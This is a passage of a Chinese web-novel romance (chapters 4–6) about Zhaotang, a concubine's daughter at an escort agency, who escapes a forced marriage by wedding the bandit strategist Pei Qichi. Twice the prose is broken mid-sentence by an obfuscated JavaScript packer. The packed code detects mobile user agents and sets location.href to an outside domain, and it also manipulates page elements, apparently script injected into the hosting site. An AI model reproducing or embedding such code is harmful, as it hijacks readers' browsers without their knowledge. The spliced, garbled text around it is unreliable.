“只一百两便要葬送女儿的幸福,”昭棠轻笑出声,罗裙扫过地上青砖,“母亲忘了柳姨娘的胭脂铺?当年爹说要娶她进门,可是花了二百两银子。” 茶碗砸在桌上,杜大娘子指甲掐进掌心,对着昭棠道:“放肆!飞远镖局今时不同往日,到了你尽孝的时候......你休要推三阻四。” 昭棠面色平静,不辨喜怒,对着杜氏寸步不让:“尽孝?当年柳姨娘陪嫁的胭脂铺,折价卖了,钱都填了镖局的亏空。母亲倒好,转头拿我换区区一百两银子,让我尽孝,只当昭棠是推三阻四,可不知却是赔了昭棠一生!” 杜氏怔了怔:“你这孩子,像块顽石!” 路海定住,郭商人的名头他是听过的,端汤的手顿在半空,片刻间怒上心头,指着杜氏的脸,不可置信道:“你这女人!竟要棠儿进门做妾?” 一对父女对着她态度不恭,杜大娘子眼白气地翻出:“她是庶女,自是有庶女的价格......” 路海,他放下端在手里的汤砸向桌面,想来又觉得不解气,便狠狠把碗摔碎在地,“砰”一声响起,碎裂从瓷碗溅在昭棠的裙角。 卖掉柳姨娘的胭脂铺是路海心里的痛:“庶女又如何,不必再说了,霞儿嫁给何人,棠儿自当也该嫁给何人,我就不信偌大个云州还找不到两个知书达理的读书人!” 杜氏嘴角抽搐,指甲深深掐进丝帕:“昭霞是嫡女,自然要风风光光地出嫁,昭棠的身份能跟昭霞比吗?难道你忘了我从金陵嫁到云州,不远奔波千里,带了千两嫁妆,难不成还要我受你这个气!” 杜氏想起了陈年往事,怒上心头:“当初我就不该听你的,把柳姨娘抬进门!” 千两陪嫁是杜氏最大的杀手锏,其余娘子娇娇软软窝在相公怀里卖乖,杜大娘子只要摆出陪嫁——路海一生起起伏伏,没有杜氏总归是成不了今日气候的,任凭路海心在何处,总是忘不了杜氏一番好处。 而柳姨娘又是路海最喜的一房,回想与柳姨娘初遇之时,路海已经年逾三十,柳姨娘还不到双十年华,巷口里陌生的对视,柳姨娘身上沁人心脾的芳香,白皙娇嫩的脸蛋,颤动直冲路海的心房,便不管不顾旁人劝阻,强行将柳姨娘纳入飞远镖局。 可惜柳姨娘英年早逝,这也成了路海心中的遗憾,想到连昭棠的婚事他都不能做主,路海怒气翻涌,脖颈上更是涌上了青筋,曾经英气十足的面庞,因常年在外奔波变成了深褐色,透着无法言喻的沧桑,手指着杜氏,却是话也说不出一句。 杜氏赶紧让丫鬟弱水轻抚路海后背,道:“老爷可慢点,何苦生这么大的气,你只管听我的便是。” 满屋只剩下被砸碎的陶瓷碎片,掺杂着青砖内部的泥水,碎片晃荡片刻便停在那里,白雪溅泥,纠缠在一处。 4. 成亲 因是庶女,柳姨娘去世以后,昭棠住的自是最偏僻的院落,院子外面歪斜着被风雨撕成布条的镖旗,在穿堂风里瑟瑟作响。 这个镖旗曾是昭棠年少时内心的标杆,她曾想过或许将来自己也可走南闯北,见识深远,在风雨里为自己遮伞,现在倒是再也用不上了,昭棠拔出镖旗,扔在地上,镖旗落下失了牢固的依靠,孤单躺在院里的角落。 要想摆脱杜大娘子的摆布,昭棠只能离开飞远镖局。昭棠翻出了柳姨娘陪嫁时带来的妆匣,她指节叩向匣底暗格,机关轻响,泛黄的纸张安静躺在暗格内部,虽经年而过,仍被保存的完好。 纸角打着细密的折痕,显然曾被反复研读,纸面残存着些许的口脂香气。这是柳姨娘祖上传下来的配制胭脂的秘方,柳姨娘病卧时曾说,若是遇到难处,便把这秘方卖予牙子,价格够她后半辈子吃穿不愁。 昭棠记得幼时,汴京有一户商户几次派牙子来采买,柳姨娘都断然拒绝,只那一次,便是在柳姨娘落水染上肺痨的时候,她把胭脂配方拿了出来,但与牙子交流之后,秘方还是被重新锁进了妆匣。 秘方像块烧红的烙铁,明明指尖发凉,掌心却被这张泛黄的纸烧的发烫。 昭棠躺在床铺上,一夜辗转未睡。 清晨,昭棠推开门,门外撑着一把墨色油纸伞的青年不知伫立了多久,乌发松松绾着根银簪,几缕碎发垂在白皙的脸颊,晨光泛起的阳光漫过门槛,刺得她睁不开眼。 他清澈的目光望向昭棠,又带着微哑的嗓音道:“姑娘就是这么追人的吗?” 似在控诉昭棠随处招惹男人,若只是招惹了便罢了,又毫无长劲,招惹过后,跑的比兔子还快。 昭棠按下心头的惊,顿觉嗓间泛起潮意,感觉掌心这单薄一页黄纸,如同丝线般缠绕在她的手指。 裴栖迟身后的人探了探头出来,“军师要与你谈婚论嫁。”汉子露出一口大白牙,笑得激动。 没等昭棠开口,裴栖迟看向昭棠掌心里的黄纸,道:“姑娘......这是要去何处?” 昨夜昭棠想了良久,那秘方上有数种配方,柳姨娘在世时只教过昭棠最基本的胭脂配方,但若细说起来这胭脂的制法有各式各样可供选择的样式,将不同种类的花卉配以不同的香料,仅是如此还不够,还需耐心等待多日方能制成,这样才能既鲜艳又好闻。 少时,昭棠曾试过制作秘方上的胭脂,但几乎都因年纪小缺乏经验,以失败告终,纵使如今她手里有这配方,也没把握能做出和柳姨娘一样的胭脂。 昭棠辗转在床榻上,回想起柳姨娘对秘方上一次胭脂的复刻,想来那大概是最成功的一次,那日柳姨娘的脸上绽出昭棠少见过的微笑。 那时,柳姨娘已经被路海娶进家门多年了,胭脂铺的生意只靠着柳姨娘的娘家哥哥帮衬,早已是不同往日,新制成的胭脂便只在同飞远镖局往来较好的女眷中流行。 柳姨娘能按照配方复刻出来,但昭棠不能,除了长久形成的经验,还要讲究原材料的使用,差之毫厘,便不好配出满意的色泽,昭棠只打算试试配方最简单的一款胭脂,是以,她便再无睡意,起了个大早准备去市集上采购制胭脂的材料。 昭棠缓缓一笑:“打算去市集买一些制胭脂的原料。” 裴栖迟:“我听梁大嫂说了,你制的胭脂很好看,不知我可否与你同去,顺便帮上姑娘什么忙?” 对方话都提了,昭棠自是没有拒绝的道理。 市集热闹非凡,昭棠轻车熟路地拐到一个巷口,摊贩的叫卖声不绝于耳。 头发花白的老丈身下压着细碎竹子制成的坐垫,前方摆着一排编制好的筲箕、箩筐,侧面还摆着一些用于售卖的竹片,新劈的竹片还泛着青碧色。 昭棠问:“老丈,您这有篾丝吗?” 昭棠掂量一下手里的铜钱,若是直接买成品,价格贵了不少,柳姨娘还留着筛子,只是年久未用,坏了一些,买些篾丝回去正好补上。 老丈行为缓慢地从被竹片压住的最下方抽出一沓篾丝,昭棠问:“多少钱?” 老丈拿出几条,道:“这些一文。” 香料的芳香传入昭棠的鼻尖,昭棠停下来望过去,闻出那是龙脑香的味道,老嬷嬷正在给一女子称量藿香,柳姨娘在世时,昭棠便经常帮着柳姨娘到嬷嬷这里采买香料,是这里的熟客。 嬷嬷看见昭棠过来,热情招呼道:“哟!棠娘子来了,我这里龙脑香,丁香,降真香都是新进的货,棠娘子要些什么?” 配方上需要的是龙脑香,但是价格不菲,暂时昭棠还拿不出这笔开销,便转头看向藿香,藿香味道独特,虽不及龙脑香,但昭棠只是暂且尝试能否制出,对香气的要求并不高。 昭棠从银钱里抽出三文,推给嬷嬷:“要一两藿香。” “不如来一两龙脑香如何?”裴栖迟笑着道。 赵猛从身后推来银钱。 昭棠婉拒道:“公子也不像手里有余之人,何必用来做这不必要的花销,还是算了。” 他把银钱收了回去,也不强求,只温润道:“劳谢姑娘为我着想。” 昭棠转头对嬷嬷道:“还是藿香吧。” 嬷嬷开口道:“棠娘子是要做胭脂不是?南货行后头新来个老货郎,杜鹃花论把卖,你可以去那里寻寻看,有没有你想要的。” 昭棠一行人在水塘边找到了卖花郎,青布帘下杜鹃花沾着泥点,货郎指着花束夸赞道:“都是昨儿从城外采摘的,新鲜。” 昭棠蹲下来挑拣,瞥见角落里几枝半干的红花,花瓣蔫头耷脑,虽蜷曲起来......昭棠沉思,香气犹在,倒是可以带回去晾干备用。 “这花怎么卖?”昭棠问。 “送你吧。”货郎答道,“都过了采期,搁着占地方。” 一路,裴栖迟和赵猛帮昭棠拿了不少东西回来,到了飞远镖局门口,昭棠对二人笑意莹莹:“多谢你们。” 赵猛:“不请我们进去?” 昭棠虽想着女子多有不便,但她向来到外奔走惯了,到底不算什么真的闺阁女子,讲究大门不出二门不迈,没什么不能看的。 昭棠笑着把二人迎进来:“今天多亏你们,快进来吧。” 昭棠住的位置偏僻,平日里与镖局众人鲜少走动,将两名外男带入镖局恐会引起下人惊动,三人便无声无息从外墙翻进来。 赵猛自小便在黑木崖闯荡,自有一身功夫,见裴栖迟也轻易翻进院墙,昭棠愣了片刻。 裴栖迟看到昭棠呆住的面容,忍不住调笑道:“姑娘,只许你会功夫,便不许旁的人会吗?” 昭棠脸一热,只想到那日她胆大妄为地将匕首横到他的脖颈,还以为他只是个手无缚鸡之力的书生,面上没来由的羞恼。 昭棠道:“我不是这个意思。” 进入昭棠的房间,裴栖迟没想到她住的地方也没比黑风寨好上多少,唯一便是市井之中,不如山上冷峭,多了一丝温馨。 “公子为何下山来此地?前些日子不是还以茶论道吗,怎的突然想开了?”昭棠调笑道。 赵猛躲在后面嬉笑起来:“自打姑娘走后,军师整日望着寨门,似要把寨子望穿了去。” 昭棠不信裴栖迟真能如此,赵猛的话自然有夸张的成分。 裴栖迟倒是顺着赵猛的话,往下说道:“我心中有所想,我想见了你或许会寻出答案。”他话音带着一抹温润,空气中浮现出带有若有若无的松针气息,让人如沐春风。 昭棠想起什么,解释道:“公子还勿见怪,我只当公子如赵猛之言,无谈婚论嫁的心思,我又怎好强求......那公子的答案寻到了吗?” 他轻应一声,话风一转道:“曾听梁大嫂说,你制的一手好胭脂,不知胭脂制成之后,裴某可否看看。” 昭棠:“公子若有兴趣,只管看便是。” 他清嗓问道:“你母亲可有为难你?” 昭棠实话实说:“若是你问......逼我成亲一事,想来她还未放下心怀。” 赵猛身为山匪,自有一番野性,见风提议道:“姑娘身手不错,打你母亲一顿,她岂会不怕?” 昭棠:“此言,话糙理不糙,但若是我真的动手打了嫡母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464281|169790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只赢了一次,便要轮到她三番五次的数落,何必多此一举。” 云州城内法制齐全,飞远镖局到底是云州城中排行第一的镖局,如果嫡母杜氏不怕家丑外扬,告到官府去,便不是一次逃婚能说得清的了。 昭棠摸不准他下山来见她是何意图,难不成赵猛口中说的“军师要与你谈婚论嫁”是真的。 昭棠索性开门见山率性直言:“公子还未说,你是为何下山?难不成是与我成亲?” 赵猛怕是没见过这么直接的女子,粗糙汉子脸却先红起来,紧忙藏在裴栖迟身后。 裴栖迟客气道:“姑娘花容月貌,裴某一介山匪恐配不上姑娘。” 他虽然穿一身粗布衣衫,但举手投足之间自有一番气度,眸色沉静如水,一袭乌黑墨发垂落时,如同山涧清透的溪流悠悠流过,带起空气中一缕奇妙的香,粗布麻衫都挡不住他身上的风华。 昭棠看出他在跟她讲求礼节,非要说貌美,眼前的他倒是不逊多让,昭棠曾随路海送镖,路上也见过不少貌美的小郎君和小娘子,跟那些人相比,裴栖迟的容貌也是上乘,并非是他口中所谓胸无点墨只靠喊打喊杀做营生的山匪。 正当昭棠摸不清他是什么意思时,他开口又道,“若是姑娘想借此亲事,在这镖局中寻一丝安宁,谋求一份生机,裴某或许帮得上姑娘。” 裴栖迟这是答应了她,那日他以茶为拒辞,她没想过是刀刃见血吓退了他,只当他是有难言之隐,亦或是对她无意。 毕竟初见那日,她的做派,若是换个白面书生,怕是要吓跑了。 昭棠疑惑启唇:“不知是何事改变了公子心中主意?” 裴栖迟自是知道,庶女绝无选择婚姻嫁娶的权利,也猜出昭棠在镖局中的难为,他只要一想到媒妁之言、宅门家事中锁住她一生,喉头便涌出一种难言的涩,他辨不清那抹涩意是来自于何,只知心里有一股莫名冲动,故此,他追下了山,全然忘记昔日家族衰败时族中长辈的叮嘱。 裴家几代入朝为官,一时不慎,经人构陷,全家被灭族。临行前,族中长辈让他逃,逃得越远越好,再也不要惹上朝堂之事,唯恐仇家斩草除根。 他自认,从不是值得托付终身之人,自打家族衰败以后,辗转逃到黑木崖,便失了嫁娶之心,黑木崖中更少有女子。 他从不是莽撞之人,若是他不愿做的事,没人能够逼迫他,可若是他决定想做的事,谁也拦不住他。 他欣赏昭棠的大胆、顽强,如若这女子不心生厌倦的话,他愿护住这番锋利。 “裴某只想请姑娘考虑清楚,裴某是否是顺姑娘心意之人?”他声音清透宛然,不光是在意昭棠的看法,还带着一丝对昭棠此番抉择的忧虑。 他架子放的极低,昭棠笑吟吟的反问道:“公子知书达理,又生来一副好皮囊,昭棠怎有不喜之理?” 他一笑,紧绷的身体顿时放松许多,只感觉心里有什么东西似是化成了一团水,他缓缓顿住又道。 “承蒙姑娘所喜,在下感激不尽,不过我早已不是公子身份,姑娘可否换个称呼?” “那我该唤你什么?”昭棠托起下巴,露出一丝女儿家的娇憨。 他道:“姑娘暂且便唤我名讳吧,还未请教姑娘芳名?” 昭棠想着,既然人来了不如便将人留下,快言快语道:“在这之前,不如你我先定下婚期如何?” 裴栖迟自是见识过昭棠的性子,也不觉为奇。他道:“姑娘想定为何日?” “择日不如撞日,今晚如何?” 赵猛在旁猛吸了一口气,寻思这两人的进展也真够飞快,倒是合了这飞远镖局的名头,这小娘子还真不是拖沓磨蹭之人。 裴栖迟:“便听姑娘的。” “昭棠。” 昭棠红唇轻启:“我名字唤作昭棠。” “昭昭若明,蔽芾甘棠。”裴栖迟在口中咀嚼这个名字,“当真是个好名字,裴某记下了。” 他微露笑意,微垂的眼尾透出柔和,唇色浅绯,素色的袖口露出玉瓷般的腕骨,松针香混合着皂角香,似白雪漫过的清泉。 5. 聘礼 昭棠从没想过她和柳姨娘一同住过的地方,颜色会变得如此艳红,那抹红艳不是血色,不带任何危险,有的只是让人醉如其中的馨美。 因裴栖迟等人仓促下山,未曾找到住的地方,便即手从昭棠的房间开始布置。 月光照在挂满门框的红绸之上,没有长辈的成亲仪式自是一切从简。 来不及给门框染上红漆,昭棠便把嫁衣边角拆了,剪成细细的穗子用作替代红绸,裴栖迟亲手题了喜联。 昭棠只当这人会读书,没想到字写得也那般好看,一时不知是字如其人,还是人如其字,上面四个方方正正的大字“永结同心”,让昭棠感到莫名的庄重和一分沉重的心意。 黑风寨的人来了不少,梁安和梁安之弟梁贵,嫂嫂梁氏都在其中,他们在门上贴上喜联,又挂上红灯笼,昭棠便也拿出埋在树下的酒用以招待众人。 梁大嫂将亡夫的婚服递给裴栖迟,道:“此次着实匆忙,这是家夫当年与我成亲之时的婚服,若军师不嫌弃,便穿上一解燃眉之急。” 裴栖迟眼眸温润,接过婚服道:“怎会嫌弃,还要多谢梁大嫂上山替我寻这婚服。” 山中多年未见有人嫁娶,如今方能看见一桩喜事,梁大嫂露出一丝欣慰的浅笑。 昭棠和裴栖迟身着红衣,站在最前面,下面是裴栖迟在黑风寨的兄弟,裴栖迟一一跟他们敬着酒,梁大嫂和昭棠在后厨随意炒了几道菜。 裴栖迟为人不错,黑风寨的人对他看重,也尊重他的决定,梁贵等人大口喝酒,激动开口:“来,这一杯敬军师找到心仪之人!” 赵猛更是酒蒙子:“是爷们,就干了!” 匪寨众人端起酒豪饮起来。 裴栖迟的眼眸中仿佛藏着无数细碎的星星,大红婚服与茫茫夜色交织成一体,天地间仿佛只剩这一抹惊艳的身影。 梁大嫂在一旁劝说他们少喝点,但嘴角也是扯不下来。 黑风寨的弟兄在看他们拜完堂后便到旁边的厢房寻了个地方解酒,夜风从窗户缝中钻进来,月光从窗户透进来,两人身着红袍的身型多半隐在暮色里,一盏油灯稳稳点在桌案上。 裴栖迟端立在昭棠面前,只有两人的屋内,安静到昭棠可以听到裴栖迟的呼吸。 昭棠顿时感到有些燥,好像那呼吸是略过两人间的距离,直接拂到她身上一般。 红盖头遮住视线,让昭棠想到,初见那日惊为天人的一幕,她的红盖头被挑开,撞进那抹幽然的视线。 对裴栖迟来说,如果说那次只是代为行事,那么这一次便是小心翼翼,裴栖迟将盖头小心搁置在桌案上。 红绡帐暖,夜夜春宵,在此之前,是二人从未想过的事。 他动人的眉眼慢慢浮现在昭棠眼前,带着昭棠想象不出的珍重,昭棠不知他是何故改了心意,但总归于她而言,算是了结了一桩心事。 昭棠想起什么:“对了,你是黑风寨的军师,离了黑风寨,弟兄们怎么办?” “当日你逼我嫁你怎没想到这番事?”裴栖迟失笑,“放心,黑风寨离了我又不是维持不下去。” 昭棠与裴栖迟在榻上坐着,相互之间失了言语,不知该对对方说些什么才好,只觉高空悬挂一轮圆月是为他们而亮,漫天星光似是为他们而闪。 在院外一处静谧的地方,烛火摇曳之间暗暗扫过一处淡青色褙子,衣摆擦过墙角的青苔。 “什么!”杜大娘子赫然拍桌而起,嘴上骂道:“这小蹄子,敢把男人领进家里!银杏,弱水,我们走!” 房间的门被丫鬟一脚踹开,紧接着杜大娘子微胖的圆润身型闯进房间,扯着一副大嗓门喊道。 “昭棠,你胆子可真是够大的!你逃掉城南郭大商人的婚事,便是为了这个野男人吗!” 杜大娘子话音未落,看向身着红衣坐在榻上的裴栖迟。 裴栖迟玉色发带松松挽着一头青丝,垂泄在肩头,衬得肤色如上好的白瓷般白皙,杜氏无意识向后退了一步。 银杏从身后扶了杜大娘子一把,杜大娘子掩住震惊,摆出端庄姿态,轻咳:“弱水,为我搬一把椅子来。” 坐上椅子,杜氏指向昭棠,开口道:“我未曾想过你如此行事,做这等败坏门规之事!闺阁之女竟敢私相授受,你,可知廉耻?” 昭棠坐在榻上,如如不动:“昭棠自小便敬重母亲,不管母亲说些什么,柳姨娘和昭棠从未推脱,全凭母亲心意,可母亲逼迫我嫁给不爱之人,昭棠实在难做。况且母亲方才所说......飞远镖局又不是世家大户,哪来的门规?不知母亲说的乃是何话,男婚女嫁本是顺其自然的事。我路昭棠看上的夫君,没偷没抢,如何不能嫁?又如何不知廉耻?” 杜氏表情有一瞬间凝滞,随即便冷笑起来:“好个伶牙俐齿的丫头,这些年是我小看你了。” “昭棠不敢。” “你不敢?我看就没有你不敢的事!这有辱家风的事,你做了一次还嫌不够吗!非要把野男人领进家门,闹得众人皆知,你方才舒坦?” “我夫君不是野男人。”昭棠掷地有声的放出狂言,“我夫君写得一手好字,读的是四书五经,学的是圣贤书,谈笑间出口成章,更是擅乐理,不比大家公子差。” 一番话说完,却是红了耳根,昭棠承认,她不算了解裴栖迟,这里有一部分她是信口胡说的,此刻在杜氏面前强装镇定,只盼杜氏不要看穿了才好。 “好啊你。”杜氏拍掌,脸上的纹路紧贴着脸,面颊上的艳红快要蹦出来。 “那敢问他出身何门?又出于何地?是哪门哪族之子,可有功名在身?” 空气中一阵沉默。 “哼。”杜氏冷笑一声,得意道,“答不出来了?我就知道,他来路不明,来人哪,叫几个趟子手过来,将她二人撵出去!” 裴栖迟缓缓起身,对杜氏行了个礼:“我母亲出身于灵寿韩氏,我乃韩氏远方子侄,只可惜我家如今已子孙凋敝,现只有我一人,至于功名......我现今身无功名,但若是需要,我愿试上一试。” 灵寿韩氏?韩氏宗亲中的一派,当今名门望族,族中人士皆高中进士,三代入朝为官,在汴京树大根深,昭棠何时能与这般人物扯上干系? 杜大娘子在椅子上使劲止住身子的抖,全然忘了方才还在兴师问罪。 还未从此番话中回神,银杏过来贴身覆在杜大娘子耳边,絮絮说着什么,杜大娘子瞳孔瞪大,身子彻底抖动起来:“你从哪里带来那么多匪人进门?” 黑风寨的山匪便睡在院子隔壁的房内,杜氏竟是随意派人打探她的院子。 昭棠索性坦率道:“母亲从进入房门开始,便一直口称昭棠胆子大,昭棠断不能让母亲失望了去。” 杜大娘子头一歪,手扯着手帕捂上太阳穴,身后弱水扶住杜氏歪斜的身体。 “扶我起来,”杜氏道,“今夜便作罢,明日我与老爷商议,定要将你逐出家门,不,逐出家门算是轻的,我要你再进不得路家 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裴栖迟一番举动吓得昭棠胆战心惊,她早就做好准备,若是嫡母口吐不快,她便将杜氏打一顿投官罢了,也省得受这窝囊气,哪成想裴栖迟将贴身玉佩拿出来堵杜氏的嘴。 “娘子可是在替我心疼那平安扣?”他坐回昭棠身边。 昭棠:“那枚平安扣做工精致,想必价格不菲,杜氏用我的婚事换城南郭商人的一百两银子,可那玉看着便值钱,杜氏心里定是乐开了花。” 裴栖迟只道:“婚姻嫁娶,怎可用买卖来形容?不知娘子看此面子,可否唤我一声夫君?” 他的嗓音像是掺了南海里的珍珠,柔和雅致。 昭棠的耳朵烧起了红,这人谈情说爱起来却是这般主动的吗? 昭棠也不见害臊,声音脆生生的道出:“夫君。” 昭棠想起自己当着杜氏的面夸耀他善音律,熟读四书五经,一时心头激动,话便脱口而出,如此口出狂言,不知对方是否会觉她太过轻率,昭棠头更是低下了些许。 “娘子把夫君想的这般完美,夫君当真是担不起。”裴栖迟看穿昭棠心思,失笑道。 “抱歉,我没想这么说,只是杜氏太过分,我气不过才......” 他大方开口:“无妨,求娶本就该舍去银钱,我若是分文不出,倒显得是我轻慢了娘子,娘子不必难为情。” 起初,昭棠劫来个貌美夫君,是想摆在家里天天看着,着实有趣,可裴栖迟出手不凡,他不是只供摆放的物件,而是实实在在用行为为她遮挡一片云雨。 “杜氏怕是这辈子都没见过这些银钱,这回该让她得意忘形了。”昭棠不愿让杜氏白捡这便宜,下起决心,“你放心,我定会想出法子,从杜氏手里赎回这平安扣。” 裴栖迟宽慰道:“娘子不必忧虑,此玉便算做为娘子的聘礼,娘子当得。” 夜色沉静如水,两人渐渐沉默下去,裴栖迟留心到两人还坐在榻上,道:“夜深了,娘子早些休息。” 裴栖迟从床榻上起身,将被褥拿走,走到另一边的矮榻上,又将屋内唯一一个屏风摆放在两人中间,熄灭烛火,而后合衣躺在矮榻之上。 室内悄然黑暗,昭棠一人躺在床榻上,阖上双眼,床上只躺着她一人,屋内却多了一道气息。 她未曾阻拦裴栖迟的动作,夜色深了几许。睡着之前,昭棠半梦半醒只想着,她一向敢作敢当,肆意妄为惯了,可同床共枕这事儿真轮到她头上,多少心中还存有一丝怯。 6. 嫁妆 公鸡报晓的第一声,路海便睁开了眼睛。 杜大娘子在床上翻滚来去,终是一夜不曾睡好。 杜氏叫醒偏房的弱水和银杏,把白玉平安扣递过去,命令道:“你们两个,去城中当铺找个人验验,这玩意到底值多少钱?别弄了个不值钱的货将我骗了去!” 话落,杜大娘子匆匆穿好衣服,发钗都未来得及戴,一脚踹开路海房门。 苏姨娘睡在里侧,还未来得及用被子遮住露在外的肌肤,杜氏便走到两人面前。 路海躺在床上被吓得一个嘚瑟:“你到底怎么回事?前夜当着孩子拂我面子,早上还不让我睡觉!” 杜氏捂住眼,脱了粉妆的脸露出几条纹路,扑倒在榻上,就要哭出来:“老爷,你可知昨夜发生何事?” 杜氏身型近年来更为丰满,这样一扑过榻,路海的床铺便震了震,杜氏的眼泪即刻成串的落下,嚎啕声落在路海耳里。 路海皱了皱眉,脸也拧在一起,甩开杜氏递过来的手:“你这是做什么?我还没死,不必急着哭丧!” 杜大娘子道:“老爷怎可如此说,妻以夫为天,老爷便是妾的天,老爷走了,于妾有什么好处?实在是......” 路海不耐:“有事快说,不必吞吞吐吐!你何时成了如此性子?” 杜大娘子:“昭棠她,私自给自己定了亲事!” “啊?是什么样的男子?”他向来知道昭棠有自己的主见,昭棠做出这样的事倒也不算意外,但乍一听难免惊讶。 “院子里还有一群不知从哪里来的野男人,老爷还是随我去宅院看看吧,这败坏家风的事传出去,叫我杜如心如何做人,对得起我远在金陵的列祖列宗吗?” “你怎说得如此夸张!你金陵的亲戚可不晓得如今还认你?” 路海说得是实话,杜氏嫁出去多年,当日杜氏亲眼见到路海面貌俊朗,还习得一身好功夫,便说什么也要嫁与路海,与路海也算得上私定终身。 金陵杜家即便在金陵谈不上有头有脸,也算是小有资产,杜氏是嫡女,家族中自是不曾亏待过她,便出了千两陪嫁。 但杜氏着实任凭自己性子为事,选了当时还是一介穷小子的路海,杜家自是不愿,何况云州距金陵山高路远,自此与杜氏便失了联络。 路海道:“你当年与我私定终身,与今日昭棠也不逊多让,看看便看看,便是不知昭棠的品味可有你好?” 杜大娘子脸色青一阵白一阵,隔一会儿又开始泛起红,言语间虚了虚:“老爷这是在夸妾,还是在骂妾?” 想来路海是在夸赞他自己。 路海对内侧的苏姨娘说:“梅儿,伺候我更衣。” 苏姨娘起身,温婉道:“是,老爷。” 路海抖了抖袖子,杜大娘子的手虚虚扶上路海的手臂,路海不悦,甩开杜大娘子:“不必扶我,刚回府没几日,你便要闹腾。” “老爷,怎是妾的不是了?昭棠是你的亲女儿,你不管,难不成让我这个继母来管?” “好了,带路。”路海在苏姨娘的侍候中穿上外袍,冷冷道。 - 清晨叶子上薄薄一层染上露水,昭棠便到院子里用昨日去市集买来的篾丝修复柳姨娘留下的旧物,裴栖迟洗过几次花瓣过后,便出门招呼匪寨的兄弟回山。一炷香过后,昭棠感到有些饿,转眼便见裴栖迟从墙外翻进来,晨光一缕照在裴栖迟的面颊上,画中的郎君走进来,昭棠闻到一阵香味,道:“我去了西市,买了糖糕,想着或许你能爱吃。” 昭棠放下手里的活,笑着接过,咬了一口,入口便是软糯香甜的味道,“好吃。” 昭棠递给他一块:“你也尝尝。” 他自然接过,晨光将这僻静的院落折射出细碎的光,竹篱围成的院落染上了别样的颜色,微风轻轻拂过脸颊,心头中有什么东西仿若想冲破喉咙走出来。 两人坐在院落中各自吃着糖糕,杜大娘子引着路海便移至昭棠面前。 杜大娘子一进门,便搀着路海,朗声道:“昭棠,婚姻嫁娶这等事,本就是父母之命,媒妁之言,你迎了夫君进门,倒也该让老爷看看是个什么模样的,否则,岂不是背上了不孝的名头?” 院子里的人方才一直低头,路海睨向院内那男子,只见那男子身型清瘦,气质不凡,墨发系于一枚玉簪,周身清冷载满光华。 裴栖迟听闻杜氏一番话抬起了头,路海见人,笑容堆起,向前走去,大喜道:“军师?怎在这你遇见你?” 路海没来由的热情让杜大娘子愣在后面。 路海看向昭棠,又看向裴栖迟:“难不成,小女所嫁的郎君是你?” 昭棠:“父亲,正是。” 路海喜形于色:“好,好,这可真是巧,你们可曾拜堂?” “回父亲,昨日便拜了堂的。” “你看你这孩子,这么大的事也不曾知会我一声。” 路海的举动让杜氏着实摸不着头脑,嗔道:“老爷!” 赵猛等人被外面的吵嚷声惊醒,一群人围到了院子里,赵猛上下扫视眼前的贵妇人,一身锦缎绣着争艳的牡丹,牡丹处铺着孔雀蓝织锦,袖口和领口处绣满珍珠,好不气派,飞远镖局倒是并非浪得虚名,赵猛揉揉眼睛道:“棠娘子,这便是你家人?” 院子里多出的山匪把杜氏吓了一跳,很快又冷静下来,正巧不用派小厮把那些人弄出来,他们便是自己出来了,便是坐实了昭棠将野男人往家领的名头,老爷定然震怒。 看昭棠日后还如何待在路家,谁知路海的反应在杜氏意料之外。 路海见到熟悉的面孔,身型上前一步:“不知诸位昨夜在家中,休息的可好?” 赵猛结实的手臂一甩:“不错,比黑风寨舒坦多了!” “那便好,还望诸位莫怪我不讲求礼节,没请诸位吃顿宴饮。” 梁大嫂先道:“我们都是山中粗人,不需要讲究什么礼节,吃得饱睡得暖,便已是足够。” 路海:“如此便好。”路海回身看杜氏,“前几日,我可曾与你提过我运镖那字画?便是黑风寨这军师帮我解了围,如心,过来,可要好好谢谢军师,这趟运镖所获丰厚......” 路远唤身后小厮,“正志,把库房第三个柜子里的银子拿来!” 杜氏身型未动,不明路海要做些什么。 路海对着昭棠慢声说道:“棠儿,时间仓促,爹对不住你,把这件事抛到脑后了,这银子你且拿着,便做嫁妆,省的叫外人听了,道我们飞远镖局做事不周,我路海嫁女......不必如此悭吝。” 路海又补充道:“爹不日便要接镖,棠儿有机会代为父好好答谢诸位恩人。” 昭棠乖巧点点头:“是,爹。” 路海几乎将这趟运镖所得收成的半数银钱都给了昭棠,杜大娘子眼睁睁地看着那白花花的银子被递到昭棠手里,心头泛起凉。 杜大娘子等了许久,竟是等到路海将家中银钱赠予他人,眼珠子快要挣出眼眶:“老爷,你这做的什么事,你莫不是还没睡醒,发了疯,不妨让正志端盆凉水泼来?” 路海半点没理杜氏,转头望向裴栖迟:“只望日后,军师还要好好对待小女。” 裴栖迟拱手道:“请放心,岳丈。” 路海听到岳丈二字,更是笑的脸上开花。 赵猛道:“棠娘子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464283|169790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这爹倒是大气!” 路海邀请裴栖迟:“我这镖局还缺一个师爷,你可愿做?” 裴栖迟望向昭棠,见昭棠也在看自己,他下意识道:“晚辈却之不恭。” 路海喜道:“好,明日便让正志带你去账房看看。” “老爷!”杜氏的脸涨住,丝毫没料到路海当着小辈的面掉她的面子,倒显得是她行事不周,怠慢了恩人。 路海看着杜氏,面上不形于色,内里却在责怪她所言少了当家主母的样子,路海没让步:“你可忘了这飞远镖局是谁的?” 